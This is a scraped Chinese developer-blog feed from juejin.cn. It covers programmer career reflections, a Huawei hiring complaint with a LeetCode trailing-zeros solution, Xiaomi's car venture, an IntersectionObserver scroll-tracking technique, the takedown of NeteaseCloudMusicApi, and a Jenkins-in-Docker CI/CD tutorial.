老猫在写文章的时候喜欢先列一下要写的提纲,然后再跟着提纲一点一点的往下写,写定义,写实现,写流程。


虽然本文偷了个懒,没有写思维导图,老猫一般再聊到干货的时候都会和大家先列一下提纲。这种提纲其实也是结构化的一种。当我们遇到复杂系统需求的时候,咱们不妨先列个提纲,将需要做的按照自己定义好的顺序罗列好,这样解决起来会更加容易一些。


太过理性可能也不好


程序员做久了,做一件事情的时候都会去想着先做什么然后做什么一步一步,有时候会显得过于机械,不知变通,
有时候可能也会太过较真,大直男显得情商比较低,会多多少少给别人带去一些不便,记得在银行办理业务的时候会指出业务员说话的逻辑漏洞,然后不停地追问,最终可能导致业务员尴尬地叫来业务经理解释等等。


程序员思维做事情,可能在日常生活中比较严谨,但是很多时候还是会显得比较死板。


总结


以上是老猫觉得除了技术以外,觉得一个后端程序员应该具备的一些思考方式以及工作方式,当然也可能只是老猫的方法论,如果大家有其他的工作领悟,也欢迎大家留言,大家一起分享一下经验。


作者:程序员老猫
来源:juejin.cn/post/7343493283073507379
收起阅读 »

不服气,川大数学博士吐槽华为招聘

数学博士吐槽华为招聘 今天刷到一篇帖子: 文中来自川大的数学博士吐槽了华为对数学博士的招聘。 作者强调自己是川大的本硕博(算子分析方向),有论文,也拿过国家一等奖。 但自己投的华为简历,却石沉大海,了无音讯。 还直言道:自己在数学系待了 10 年,没有任何一...
继续阅读 »

数学博士吐槽华为招聘


今天刷到一篇帖子:


文中来自川大的数学博士吐槽了华为对数学博士的招聘。


作者强调自己是川大的本硕博(算子分析方向),有论文,也拿过国家一等奖。


但自己投的华为简历,却石沉大海,了无音讯。


还直言道:自己在数学系待了 10 年,没有任何一个数学博士能够满足华为招聘三条要求中的两条,如果数学博士干的是华为招聘上的事情,毕业都难。


这事儿,怎么说呢,从不同角度,会有不同的理解。


首先,在企业招聘中,学历往往是起点门槛要求,而非唯一要求。


因此肯定不是说满足数学博士要求,就必然入面试,这一点和「本科/硕士」一样。


其次,企业招聘中,往往是「应用类」人才占比要比「科研类」人才占比更高。


因此在学历(数学博士)要求上,往往还会有企业所期望的技能要求,例如文中说的「熟练使用计算机编程语言」,也算是常规操作。


至于原帖作者说的,因为「华为招聘中有很多不是数学博士专业领域知识要求」,就得出「华为觉得不到这个水平就不算是博士」的结论,多少有点偏激了。


...


回归主线。


来一道不是数学博士也能做出来的算法题。


这道题曾经还是华为的校招机试原题。


题目描述


平台:LeetCode


题号:172


给定一个整数 nn ,返回 n!n! 结果中尾随零的数量。


提示 n! = n * (n - 1) * (n - 2) * ... * 3 * 2 * 1


示例 1:


输入:n = 3

输出:0

解释:3! = 6 ,不含尾随 0

示例 2:


输入:n = 5

输出:1

解释:5! = 120 ,有一个尾随 0

提示:



  • 0<=n<=1040 <= n <= 10^4


进阶:你可以设计并实现对数时间复杂度的算法来解决此问题吗?


数学


对于任意一个 n!n! 而言,其尾随零的个数取决于展开式中 1010 的个数,而 1010 可由质因数 252 * 5 而来,因此 n!n! 的尾随零个数为展开式中各项分解质因数后 22 的数量和 55 的数量中的较小值。


即问题转换为对 [1,n][1, n] 中的各项进行分解质因数,能够分解出来的 22 的个数和 55 的个数分别为多少。


为了更具一般性,我们分析对 [1,n][1, n] 中各数进行分解质因数,能够分解出质因数 pp 的个数为多少。根据每个数能够分解出 pp 的个数进行分情况讨论:



  • 能够分解出至少一个 pp 的个数为 pp 的倍数,在 [1,n][1, n] 范围内此类数的个数为 c1=npc_1 = \left \lfloor \frac{n}{p} \right \rfloor

  • 能够分解出至少两个 pp 的个数为 p2p^2 的倍数,在 [1,n][1, n] 范围内此类数的个数为 c2=np2c_2 = \left \lfloor \frac{n}{p^2} \right \rfloor

  • ...

  • 能够分解出至少 kkpp 的个数为 pkp^k 的倍数,在 [1,n][1, n] 范围内此类数的个数为 ck=npkc_k = \left \lfloor \frac{n}{p^k} \right \rfloor


我们定义一个合法的 kk 需要满足 pknp^k \leqslant n,上述的每一类数均是前一类数的「子集」(一个数如果是 pkp^k 的倍数,必然是 pk1p^{k-1} 的倍数),因此如果一个数是 pkp^k 的倍数,其出现在的集合数量为 kk,与其最终贡献的 pp 的数量相等。


回到本题,n!n! 中质因数 22 的数量为 :


i=1k1n2i=n2+n22+...+n2k1\sum_{i = 1}^{k_1}\left \lfloor \frac{n}{2^i} \right \rfloor = \left \lfloor \frac{n}{2} \right \rfloor + \left \lfloor \frac{n}{2^2} \right \rfloor + ... + \left \lfloor \frac{n}{2^{k_1}} \right \rfloor

n!n! 中质因数 55 的数量为 :


i=1k2n5i=n5+n52+...+n5k2\sum_{i = 1}^{k_2}\left \lfloor \frac{n}{5^i} \right \rfloor = \left \lfloor \frac{n}{5} \right \rfloor + \left \lfloor \frac{n}{5^2} \right \rfloor + ... + \left \lfloor \frac{n}{5^{k_2}} \right \rfloor

2<52 < 5,可知 k2k1k_2 \leqslant k_1,同时 ii 相同的每一项满足 n5in2i\left \lfloor \frac{n}{5^i} \right \rfloor \leqslant \left \lfloor \frac{n}{2^i} \right \rfloor,可知最终 i=1k2n5ii=1k1n2i\sum_{i = 1}^{k_2}\left \lfloor \frac{n}{5^i} \right \rfloor \leqslant \sum_{i = 1}^{k_1}\left \lfloor \frac{n}{2^i} \right \rfloor,即质因数 55 的个数必然不会超过质因数 22 的个数。我们只需要统计质因数 55 的个数即可。


Java 代码:


class Solution {
public int trailingZeroes(int n) {
return n == 0 ? 0 : n / 5 + trailingZeroes(n / 5);
}
}

Python 代码:


class Solution:
def trailingZeroes(self, n: int) -> int:
return n // 5 + self.trailingZeroes(n // 5) if n else 0


  • 时间复杂度:O(logn)O(\log{n})

  • 空间复杂度:忽略递归带来的额外空间开销,复杂度为 O(1)O(1)



作者:宫水三叶的刷题日记
来源:juejin.cn/post/7332027975862730761
收起阅读 »

谈谈雷军造车

相信大家都听过雷总的一句鸡汤:“我干了30多年,回头一望,全是漫长的挫折和煎熬,和大家一样,我也迷茫,我也曾经动摇甚至放弃过,我想跟大家说我们不要逃避,你经历的所有的挫折和失败,甚至那些看似毫无意义,消磨时间的事情,都将成为你最重要的,最宝贵的财富,人生很长,...
继续阅读 »

相信大家都听过雷总的一句鸡汤:“我干了30多年,回头一望,全是漫长的挫折和煎熬,和大家一样,我也迷茫,我也曾经动摇甚至放弃过,我想跟大家说我们不要逃避,你经历的所有的挫折和失败,甚至那些看似毫无意义,消磨时间的事情,都将成为你最重要的,最宝贵的财富,人生很长,永远相信美好的事情即将发生。”这段话治愈了很多人,熬不住的时候回头想想这句话也让我受益良多。生活,就像一条曲折的河流,有时平静,有时汹涌。每个人都会遇到各自的艰难困苦,那些看似寻常的日子,也许背后隐藏着不为人知的挣扎。这就是生活,这就是人生。

都说十年磨一剑,雷总三年就出成果,从当年的PPT造车到实际落地,中间的困难与挫折可想而知。我们都知道小米是造手机、电视、智能家居等电子产品的,当3年前官宣造车的时候,很多人都不看好它,甚至还有人冷嘲热讽,那么今天小米用实际行动证明了自己。前些日子比亚迪掀桌子了,比亚迪秦起售价直接干到7.98万,这也让不少网约车车主感到痛心,2年跑的滴滴全白干,而且新款秦配置还更好;去年都在吐槽特斯拉降价,甚至有的人还去维权,最终也无功而返,今年国产车掀起降价潮,导致整个新能源汽车市场受到影响。不过这波降价主要原因还是今年的经济不景气,大家都在缩减开销,但其实也有一部分原因是因为小米迟迟不敢公布售价,而从外表来看SU7又很好看,肯定是一个大卖点,所以不少厂家先于小米一步降价为求站稳脚跟,不少网友也调侃说电车降价小米功不可没。
造车压力大,下面给大家看下雷总最近参加人大的照片,以及以前的招聘,对比起来真的很明显憔悴了不少,也老了不少:


微信图片_20240308164101.jpg


微信图片_20240308164109.jpg


微信图片_20240308164114.jpg


谈谈雷军带队小米造车


小米的生态链中可以说车是必不可少的一环,雷军常说,人、车、家形成一个生态链的闭环,雷军也说了这次将是他最后一次创业,如果这次成功可以说是给自己的人生画上了圆满的句号,下面我从几个方面看来谈谈造车的这个事情。


创新理念


雷军一直以来都是创新的倡导者和实践者,在智能手机领域取得了巨大成功。他带领小米进军造车领域,是对传统汽车行业的一次颠覆性挑战,展现了他对未来出行方式的前瞻性思考和勇于尝试的精神。不过有一说一,现在小米手机可是越卖越贵啊,1999的那个时代再也回不去了。


技术实力


小米作为一家科技公司,拥有雄厚的技术实力和研发能力。结合小米在智能硬件、人工智能等领域的优势,可以为汽车行业注入新的活力和创新,打造更加智能、互联的汽车产品。


生态系统优势


小米不仅仅是一家手机制造商,更是建立了庞大的生态系统,涵盖了智能家居、智能穿戴、智能健康等多个领域。雷军希望通过造车项目,将小米的生态系统拓展到汽车领域,实现智能设备之间的无缝连接和互联互通。不知道小米还会不会在车上用上小爱同学。


用户体验


雷军一直以来都非常注重用户体验,他认为用户是一切创新的源泉和动力。在造车项目中,他致力于打造用户体验一流的智能汽车,通过人性化设计和智能科技,为用户提供更加便捷、安全、舒适的出行体验。


挑战与机遇


进军汽车行业是一项充满挑战的任务,雷军清楚地意识到这一点。但与挑战相伴随的是巨大的机遇,随着智能化、电动化、共享化的趋势不断加速,汽车行业正经历着前所未有的变革,雷军带领小米造车正是抓住了这个机遇,努力走在行业的前沿。


作者:MrDong先生
来源:juejin.cn/post/7343842933990817832
收起阅读 »

哇噻,简直是个天才,无需scroll事件就能监听到元素滚动

web
哇噻,简直是个天才,无需scroll事件就能监听到元素滚动 1. 前言 最近在做 toolTip 弹窗相关组件封装,实现的效果就是可以通过hover或点击在元素的上面或者下面能够出现一个弹框,类似下面这样 这时我遇到一个问题,因为我想当这个弹窗快要滚出屏幕之...
继续阅读 »

哇噻,简直是个天才,无需scroll事件就能监听到元素滚动


1. 前言


最近在做 toolTip 弹窗相关组件封装,实现的效果就是可以通过hover或点击在元素的上面或者下面能够出现一个弹框,类似下面这样


bandicam 2024-03-10 10-21-30-103.gif


这时我遇到一个问题,因为我想当这个弹窗快要滚出屏幕之外时能够从由上面弹出变到由下面弹出,本来想着直接监听 scroll 事件就能搞定的,但是仔细一想 scroll 事件到底要绑定到那个 DOM 上呢? 因为很多时候滚动条出现的元素并不是最外层的 body 或者 html 可能是任意一个元素上的滚动条。这个时候就无法通过绑定 scroll 事件来监听元素滚动了。


2. 问题分析


我脑海中首先 IntersectionObserver 这个 API,但是这个 API 只能用来 监测目标元素与视窗(viewport)的交叉状态,也就是当我的元素滚出或者滚入的时候可以触发该监听的回调。


new IntersectionObserver((event) => {
refresh();
}, {
// threshold 用来表示元素在视窗中显示的交叉比例显示
// 设置的是 0 即表示元素完全移出视窗,1 或者完全进入视窗时触发回调
// 0表示元素本身在视口中的占比0%, 1表示元素本身在视口中的占比为100%
// 0.1表示元素本身在视口中的占比1%,0.9表示元素本身在视口中的占比为90%
threshold: [0, 1, 0.1, 0.9]
});

这样就可以在元素快要移出屏幕,或者移入屏幕时触发回调了,但是这样会有一个问题


1710037754965.jpg


当弹窗移出屏幕时,可以很轻松的监听到,并把弹窗移动到下方,但是当弹窗滚入的时候就有问题了


image.png


可以看到完全进入之后,这个时候由于顶部空间不够,还需要继续往下滚才能将弹窗由底部移动到顶部。但是已经无法再触发 IntersectionObserver 和视口交叉的回调事件了,因为元素已经完全在视窗内了。
也就是说用这种方案,元素一旦滚出去之后,再回来的时候就无法复原了。


3. 把问题抛给别人


既然自己很难解决,那就看看别人是怎么解决这个问题的吧,我直接上 饿了么UI 上看看它的弹窗组件是怎么做的,于是我找到了 floating-ui 也就是原来的 popper.js 现在改名字了。


image.png
在文档中,我找到自动更新这块,也就是 floating-ui 通过监听器来实现自动更新弹窗位置。
到这里就可以看看 floating-ui 的源码了。


import {autoUpdate} from '@floating-ui/dom';

可以看到这个方法是放在 'floating-ui/dom'下面的


image.png
github.com/floating-ui…
于是进入 floating-ui 的 github 地址,找到 packagesdom 下的 src 目录下,就可以看到想要的 autoUpdate.ts 了。


4. 天才的想法


抛去其它不重要的东西,实现自动更新主要就是其中的 refresh 方法,先看一下代码


function refresh(skip = false, threshold = 1) {
// 清理操作,清理上一次定时器和监听
cleanup();

// 获取元素的位置和尺寸信息
const {
left,
top,
width,
height
} = element.getBoundingClientRect();

if (!skip) {
// 这里更新弹窗的位置
onMove();
}

// 如果元素的宽度或高度不存在,则直接返回
if (!width || !height) {
return;
}

// 计算元素相对于视口四个方向的偏移量
const insetTop = Math.floor(top);
const insetRight = Math.floor(root.clientWidth - (left + width));
const insetBottom = Math.floor(root.clientHeight - (top + height));
const insetLeft = Math.floor(left);
// 这里就是元素的位置
const rootMargin = `${-insetTop}px ${-insetRight}px ${-insetBottom}px ${-insetLeft}px`;

// 定义 IntersectionObserver 的选项
const options = {
rootMargin,
threshold: Math.max(0, Math.min(1, threshold)) || 1,
};

let isFirstUpdate = true;

// 处理 IntersectionObserver 的观察结果
function handleObserve(entries) {
// 这里事件会把元素和视口交叉的比例返回
const ratio = entries[0].intersectionRatio;
// 判断新的视口比例和老的是否一致,如果一致说明没有变化
if (ratio !== threshold) {
if (!isFirstUpdate) {
return refresh();
}

if (!ratio) {
// 即元素完全不可见时,也就是ratio = 0时,代码设置了一个定时器。
// 这个定时器的作用是在短暂的延迟(100毫秒)后,再次调用 `refresh` 函数,
// 这次传递一个非常小的阈值 `1e-7`。这样可以在元素完全不可见时,保证重新触发监听
timeoutId = setTimeout(() => {
refresh(false, 1e-7);
}, 100);
} else {
refresh(false, ratio);
}
}

isFirstUpdate = false;
}

// 创建 IntersectionObserver 对象并开始观察元素
io = new IntersectionObserver(handleObserve, options);
// 监听元素
io.observe(element);
}

refresh(true);


可以发现代码其实不复杂,但是其中最重要的有几个点,我详细介绍一下


4.1 rootMargin


最重要的其实就是 rootMargin, rootMargin到底是做啥用的呢?


我上面说了 IntersectionObserver监测目标元素与视窗(viewport)的交叉状态,而这个 rootMargin 就是可以将这个视窗缩小。


比如我设置 rootMargin 为 "-50px -30px -20px -30px",注意这里 rootMarginmargin 类似,都是按照 上 右 下 左 来设置的


image.png


可以看到这样,当元素距离顶部 50px 就触发了事件。而不必等到元素完全滚动到视口。


既然这样,当我设置 rootMargin 就是该元素本身的位置,不就可以实现只要元素一滚动,就触发事件了吗?


1710041265393.jpg


4.2 循环监听事件


仅仅将视口缩小到该元素本身的位置还是不够,因为只要一滚动,元素的位置就发生了改变,即视口的位置也需要跟随着元素的位置变化进行变化


if (ratio !== threshold) {
if (!isFirstUpdate) {
return refresh();
}
if (!ratio) {
// 即元素完全不可见时,也就是ratio = 0时,代码设置了一个定时器。
// 这个定时器的作用是在短暂的延迟(100毫秒)后,再次调用 `refresh` 函数,
// 这次传递一个非常小的阈值 `1e-7`。这样可以在元素在视口不可见时,保证可以重新触发监听
timeoutId = setTimeout(() => {
refresh(false, 1e-7);
}, 100);
} else {
refresh(false, ratio);
}
}

也就是这里,可以看到每一次元素距离视口的比例变化后,都重新调用了 refresh 方法,根据当前元素和屏幕的新的距离,创建一个新的监听器。


这样的话也就实现了类似 scroll 的效果,通过不断变化的视口来确认元素的位置是否发生了变化


5. 结语


所以说有时候思路还是没有打开,刚看到这个实现思路确实惊到我了,没有想到借助 rootMargin 可以实现类似 scroll 监听的效果。很多时候得多看看别人的实现思路,学习学习大牛写的代码和实现方式,对自己实现类似的效果相当有帮助



floating-ui



作者:码头的薯条
来源:juejin.cn/post/7344164779630673946
收起阅读 »

2024年大龄程序员不得不面对的尴尬,也算是过来人的经验

被裁员 先说下本人情况,38,坐标杭州,具备后端架构和大数据架构能力。待过大厂,带过团队,落地过大型项目。 近几年被裁员也不算什么稀奇古怪的事情,我记得2022年下半年面试那会行情远比现在好,那会还会有猎头、企业主动找,我2022年的工作就是猎头推进去的。 然...
继续阅读 »

被裁员


先说下本人情况,38,坐标杭州,具备后端架构和大数据架构能力。待过大厂,带过团队,落地过大型项目。


近几年被裁员也不算什么稀奇古怪的事情,我记得2022年下半年面试那会行情远比现在好,那会还会有猎头、企业主动找,我2022年的工作就是猎头推进去的。


然而公司运营不善,2023年底裁撤了,因为融资问题,被迫出局。


本想着年后再看工作,也想休息一段时间,于是年前就没理工作这个事。


狗不理


因为信息差,也可能因为行业这种趋势本身就是没法感知的,年后投简历发现了几个情况:



  1. 无论是猎聘、BOSS、智联,好像岗位都比之前少了很多,并且很多都是钉子户,我2022年找工作那会看他们挂的JD,2024年了仍然还在。

  2. 很多JD都要求的时间就在两个段,一个是1—3年,一个是5—10年。那么从23岁毕业来看,现在只要33岁以下的了。

  3. 从跟一些猎头的沟通来看,现在很多好点的岗位是需要本硕985,211都不一定看了,并且很多事明确要求硕士。这其实一刀切,放十几年前,考大学比现在难。

  4. 很多简历发出去直接被拒,要么是未读。基本上已经有去无回了。


一些感悟


面对这种突如其来的颠覆认知的行情,我有点措手不及,没预想自己可能就此失业了。现在的世界变化太快了,也可能我待在舒适区太久了,根本对外部世界的变化钝感迟缓。


我也没去问招聘方是什么原因,本身就个人从业经历和技能能来说,自认为还OK,但是问人家也未必会告诉你实话,在这个存量市场,势必是僧多肉少,刺刀见红,现实残酷,朝不保夕。


但是反思下十几年的职场生涯,其实多多少少还是有个人原因的,总结出来,留给后来人吧:



  1. 不要迷信技术,我以前以为只要技术好就是核心竞争力,就有护城河。现在发现这种信仰只有在一个崇尚技术、尊重技术的环境中才有效。但是目前看下,这个环境越来越不是,今后肯定是越来越人情社会,越来越丛林化。所以,得有综合全面的“技术”才能混,至于我说的综合全面,懂的都懂。

  2. IT行业不适合深耕,只适合扩展。就是你得把他当工具,千万别代入,不然你会陷入很深的工具人思维。就是你总得想着有朝一日假如你被裁员了,你是否有利用这个工具单干的能力。尤其是现在AI技术日新月异,很有可能程序员一夜之间就变成土木。

  3. 一个要打造个人IP,要清醒地培养自己独立赚钱的能力,跳出自己的舒适区。很可能你目前的舒适生活是由行业或平台的红利带来的,你也很可能就是那个被圈养的巨婴。想想《肖申克的救赎》那几个经典片段:坐牢越久越是离不开监狱的,到最后极度依赖,没有自己。

  4. 认知越早扭转越好,不要等到35岁别人不要你了才幡然醒悟,我就是反例,到这个时候怀着空杯心态再从零开始,代价不得不说有点太大了。


个人期望


最后说点自己的个人期望和未深思的规划:
1、后面还是要自己单干的,可以是独立开发、或者其他。
2、还是会热爱技术,即使如果干不了这行了,也会把它当做一个兴趣培养。


作者:数据智能老司机
来源:juejin.cn/post/7343902139821785124
收起阅读 »

一夜之间,3.0万 Star,全部清零!

这是开源圈不久前发生的一件事情。 不知道大家有没有听说过NeteaseCloudMusicApi这个项目,从项目名字大家也能猜出,这是一个和网易云音乐API有关的开源项目。 该项目之前由开发者Binaryify所打造,是网易云音乐API的一个非官方封装库。 该...
继续阅读 »

这是开源圈不久前发生的一件事情。


不知道大家有没有听说过NeteaseCloudMusicApi这个项目,从项目名字大家也能猜出,这是一个和网易云音乐API有关的开源项目。


该项目之前由开发者Binaryify所打造,是网易云音乐API的一个非官方封装库。


该项目采用Node.js编写,可以实现非官方的网易云音乐API调用,从而可以让其他开发者可以基于该项目来获取网易云音乐平台上的一些歌曲、歌单、歌词、专辑、电台等信息,方便开发者构建基于网易云音乐服务的应用程序。



这个项目曾经在GitHub上非常火热,也因此一度获得了超过3.0w的Star标星,以及1.5w+的Fork。



不过就在最近,该项目的作者彻底清零了这个项目,包括其所有的代码、文档,以及commit提交信息,并在项目的主页README中更新了动态:



保护版权,此仓库不再维护




原因很简单,原来是作者收到了来自网易云音乐官方发送的法务通知函。


网易云音乐声明该项目侵犯了其公司的相关版权,并且要求开发者立即下线该项目中盗链网易云音乐的方法及内容。


具体的通知如下:



网易云音乐由杭州网易云音乐有限公司独立开发运营,网易云音乐作为国内知名的在线音乐平台,致力于为用户提供优质的音乐内容服务,我司以高额的成本采购了海量音乐作品的内容,在未我司合法授权的任何第三方均没有权利播放由我司享有版权的音乐作品,我司有权以自己的名义或授权第三方进行维权。




我司收到用户的举报,您开发的 NeteaseCloudMusicApi 或存在涉嫌通过非法破解网易云音乐内容接口的方式获取网易云音乐享有版权的歌曲内容。




贵司未经我司授权,通过技术手段破解绕开限制直接提供网易云音乐享有版权的音乐作品内容,该行为不仅侵犯了我司享有的音乐作品版权,亦非法攫取了网易云音乐的用户流量构成不正当竞争,损害了我司作为权利人的合法权益。




同时贵方通过非法技术手段破解网站获取大量歌曲内容的行为,涉嫌构成侵犯著作权罪,破坏 / 非法入侵计算机信息系统罪及 / 或提供破坏 / 非法入侵计算机信息系统工具罪。




针对上述侵权行为,根据中华人民共和国《著作权法》、《刑法》等相关法律法规规定,我司现郑重致函:




1、立即下线 NeteaseCloudMusicApi 上盗链网易云音乐的方法及内容;




2、在未获得我方授权的前提下,停止一切侵犯我司合法权益的行为。




请贵方充分认识到该行为的违法性和严重性,按照本函要求立即处理侵权行为,并将处理结果及时告知我方。若贵方怠于履行该项义务,为维护自身合法权益,我司将采取包括诉讼、投诉、举报等在内的一切必要的法律措施确保合法权利得到有效保护。



从这个项目的维护历史可以看出,曾经作者对于该项目还是花了不少心血的,包括维护的活跃度以及项目文档这块,都做了不少工作。



而且也有不少开发者来基于该项目进行二开,从而实现开发者自己的不同想法和需求。


然而面对这样一封告知函,项目作者也不得不做出清空仓库并将其进行永久归档的处理,毕竟这类项目确实存在版权方面的问题。


而尊重版权和合规开源也确实是每一位开源作者的基本职责。


其实像这类项目在GitHub上还是有不少的,在之前官方没有明确追责的情况下,其实大家对于一些非盈利性的小众开源项目基本也会睁一只眼闭一只眼,但是官方一旦追责起来,这类项目生存的概率就微乎其微了。


所以这件事也提醒我们,后续大家如果要经营和维护自己的开源项目,也是要多关注和留意一下版权方面的问题,从而避免后续可能会出现的一些不必要的麻烦。


作者:CodeSheep
来源:juejin.cn/post/7343137522069995529
收起阅读 »

用上了Jenkins,个人部署项目真方便!

作者:小傅哥 博客:bugstack.cn 项目:gaga.plus 沉淀、分享、成长,让自己和他人都能有所收获!😄 本文的宗旨在于通过简单干净实践的方式教会读者,如何在 Docker 中部署 Jenkins,并通过 Jenkins 完成对项目的打包构建并...
继续阅读 »

作者:小傅哥
博客:bugstack.cn
项目:gaga.plus



沉淀、分享、成长,让自己和他人都能有所收获!😄



本文的宗旨在于通过简单干净实践的方式教会读者,如何在 Docker 中部署 Jenkins,并通过 Jenkins 完成对项目的打包构建并在 Docker 容器中部署。


Jenkins 的主要作用是帮助你,把需要在本地机器完成的 Maven 构建、Docker 镜像发布、云服务器部署等系列动作全部集成在一个服务下。简化你的构建部署操作过程,因为 Jenkins 也被称为 CI&CD(持续集成&持续部署) 工具。提供超过 1000 个插件(Maven、Git、NodeJs)来支持构建、部署、自动化, 满足任何项目的需要。


官网:



本文涉及的工程:



一、操作说明


本节小傅哥会带着大家完成 Jenkins 环境的安装,以及以最简单的方式配置使用 Jenkins 完成对 xfg-dev-tech-jenkins 案例项目的部署。部署后可以访问 xfg-dev-tech-jenkins 项目提供的接口进行功能验证。整个部署操作流程如下;






  • 左侧竖列为核心配置部署流程,右侧是需要在配置过程中处理的细节。

  • 通过把本地对项目打包部署的过程拆解为一个个模块,配置到 Jenkins 环境中。这就是 Jenkins 的作用。


二、环境配置



  1. 确保你已经在(云)服务器上配置了 Docker 环境,以及安装了 docker-compose。同时最好已经安装了 Portainer 管理界面这样更加方便操作。

  2. 在配置和后续的验证过程中,会需要访问(云)服务的地址加端口。如果你在云服务配置的,记得开放端口;9000 - portainer9090 - jenkins8091 - xfg-dev-tech-app 服务


1. Jenkins 部署


1.1 上传文件






  • 如图;以上配置内容已经放到 xfg-dev-tech-jenkins 工程中,如果你是云服务器部署则需要将 dev-ops 部分全部上传到服务器的根目录下。

  • compose-down.sh 是 docker-compose 下载文件,只有你安装了 docker-compose 才能执行 docker-compose -f docker-compose-v1.0.yml up -d

  • jdk-down.sh 是 jdk1.8 下载路径,以及解压脚本。如果你在云服务器下载较慢,也可以本地搜索 jdk1.8 下载,并上传到云服务器上解压。注意:本步骤是可选的,如果你的项目不强依赖于 jdk1.8 也可以使用 Jenkins 默认自带的 JDK17。可以通过在安装后的 Jenkins 控制台执行 which java 找到 JDK 路径。

  • maven 下的 settings.xml 配置,默认配置了阿里云镜像文件,方便在 Jenkins 构建项目时,可以快速地拉取下载下来包。


1.2 脚本说明


version: '3.8'
# 执行脚本;docker-compose -f docker-compose-v1.0.yml up -d
services:
jenkins:
image: jenkins/jenkins:2.439
container_name: jenkins
privileged: true
user: root
ports:
- "9090:8080"
- "50001:50000"
volumes:
- ./jenkins_home:/var/jenkins_home # 如果不配置到云服务器路径下,则可以配置 jenkins_home 会创建一个数据卷使用
- /var/run/docker.sock:/var/run/docker.sock
- /usr/bin/docker:/usr/local/bin/docker
- ./maven/conf/settings.xml:/usr/local/maven/conf/settings.xml # 这里只提供了 maven 的 settings.xml 主要用于修改 maven 的镜像地址
- ./jdk/jdk1.8.0_202:/usr/local/jdk1.8.0_202 # 提供了 jdk1.8,如果你需要其他版本也可以配置使用。
environment:
- JAVA_OPTS=-Djenkins.install.runSetupWizard=false # 禁止安装向导「如果需要密码则不要配置」docker exec jenkins cat /var/jenkins_home/secrets/initialAdminPassword
restart: unless-stopped

volumes:
jenkins_home:

Jenkins Docker 执行安装脚本。



  • ./jenkins_home:/var/jenkins_home 是在云服务器端挂一个映射路径,方便可以重新安装后 Jenkins 依然存在。你也可以配置为 jenkins_home:/var/jenkins_home 这样是自动挂在 volumes jenkins_home 数据卷下。

  • docker 两个 docker 的配置是为了可以在 Jenkins 中使用 Docker 命令,这样才能在 Docker 安装的 Jenkins 容器内,使用 Docker 服务。

  • ./maven/conf/settings.xml:/usr/local/maven/conf/settings.xml 为了在 Jenkins 中使用映射的 Maven 配置。

  • ./jdk/jdk1.8.0_202:/usr/local/jdk1.8.0_202 用于在 Jenkins 中使用 jdk1.8

  • JAVA_OPTS=-Djenkins.install.runSetupWizard=false 这个是一个禁止安装向导,配置为 false 后,则 Jenkins 不会让你设置密码,也不会一开始就安装一堆插件。如果你需要安装向导可以注释掉这个配置。并且当提示你获取密码时,你可以执行;docker exec jenkins cat /var/jenkins_home/secrets/initialAdminPassword 获取到登录密码。


1.3 执行安装





[root@lavm-aqhgp9nber dev-ops]# docker-compose -f docker-compose-v1.0.yml up -d
[+] Building 0.0s (0/0)
[+] Running 1/0
✔ Container jenkins Running

执行脚本 docker-compose -f docker-compose-v1.0.yml up -d 后,这样执行完毕后,则表明已经安装成功了💐。


2. 插件安装


地址:http://localhost:9090/ - 登录Jenkins









  • 1~2步,设置镜像源,设置后重启一下 Jenkins。

  • 3~4步,下载插件,先下载安装 chinese 汉化插件,方便不太熟悉 Jenkins 的伙伴更好的知道页面都是啥内容。

  • 5步,所有的插件安装完成后,都需要重启才会生效。安装完 chinese 插件,重启在进入到 Jenkins 就是汉化的页面了

  • 除了以上步骤,你还需要同样的方式安装 maven、git、docker 插件。

  • 注意,因为网络问题你可以再做过程中,提示失败。没关系,你可以再搜这个插件,再重新下载。它会把失败的继续下载。


3. 全局工具配置


地址:http://localhost:9090/manage/configureTools/





用于构建部署的 SpringBoot 应用的环境,都需要在全局工具中配置好。包括;Maven、JDK、Git、Docker。注意这里的环境路径配置,如果配置了是会提示你没有对应的路径文件夹。


4. 添加凭证


地址:http://localhost:9090/manage/credentials/store/system/domain/_/






  • 配置了Git仓库的连接凭证,才能从Git仓库拉取代码。

  • 如果你还需要操作如 ssh 也需要配置凭证。


三、新建任务


一个任务就是一条构建发布部署项目的操作。


1. 配置任务





xfg-dev-tech-jenkins

2. 配置Git





# 你可以 fork 这个项目,到自己的仓库进行使用
https://gitcode.net/KnowledgePlanet/ddd-scene-solution/xfg-dev-tech-content-moderation.git

3. 配置Maven






  • 在高级中设置 Maven 配置的路径 /usr/local/maven/conf/settings.xml。这样才能走自己配置的阿里云镜像仓库。


clean install -Dmaven.test.skip=true

3. 配置Shell


# 先删除之前的容器和镜像文件
if [ "$(docker ps -a | grep xfg-dev-tech-app)" ]; then
docker stop xfg-dev-tech-app
docker rm xfg-dev-tech-app
fi
if [ "$(docker images -q xfg-dev-tech-app)" ]; then
docker rmi xfg-dev-tech-app
fi

#
重新生成
cd /var/jenkins_home/workspace/xfg-dev-tech-jenkins/xfg-dev-tech-app
docker build -t xiaofuge/xfg-dev-tech-app .
docker run -itd -p 8091:8091 --name xfg-dev-tech-app xiaofuge/xfg-dev-tech-app





  • 当你熟悉后还可以活学活用,比如这里只是做build 但不做run执行操作。具体的部署可以通过 docker compose 执行部署脚本。

  • 另外如果你有发布镜像的诉求,也可以在这里操作。


四、测试验证


1. 工程准备


工程https://gitcode.net/KnowledgePlanet/road-map/xfg-dev-tech-jenkins 你可以fork到自己的仓库进行使用,你的账号密码就是 CSDN 的账号密码。


@SpringBootApplication
@RestController()
@RequestMapping("/api/")
public class Application {

public static void main(String[] args) {
SpringApplication.run(Application.class);
}

/**
* http://localhost:8091/api/test
*/

@RequestMapping(value = "/test", method = RequestMethod.GET)
public ResponseBodyEmitter test(HttpServletResponse response) {
response.setContentType("text/event-stream");
response.setCharacterEncoding("UTF-8");
response.setHeader("Cache-Control", "no-cache");

ResponseBodyEmitter emitter = new ResponseBodyEmitter();

String[] words = new String[]{"嗨,臭宝。\r\n", "恭喜💐 ", "你的", " Jenkins ", " 部", "署", "测", "试", "成", "功", "了啦🌶!"};
new Thread(() -> {
for (String word : words) {
try {
emitter.send(word);
Thread.sleep(250);
} catch (IOException | InterruptedException e) {
throw new RuntimeException(e);
}
}
}).start();

return emitter;
}

}


2. CI&CD - 构建发布


地址http://localhost:9090/job/xfg-dev-tech-jenkins/






  • 点击构建项目,最终会完成构建和部署成功。运行到这代表你全部操作完成了。


3. 验证结果


地址http://localhost:9000/#!/2/docker/containers





访问http://localhost:8091/api/test






  • 运行到这代表着你已经完整的走完了 Jenkins CI&CD 流程。


作者:小傅哥
来源:juejin.cn/post/7329573732597710874
收起阅读 »

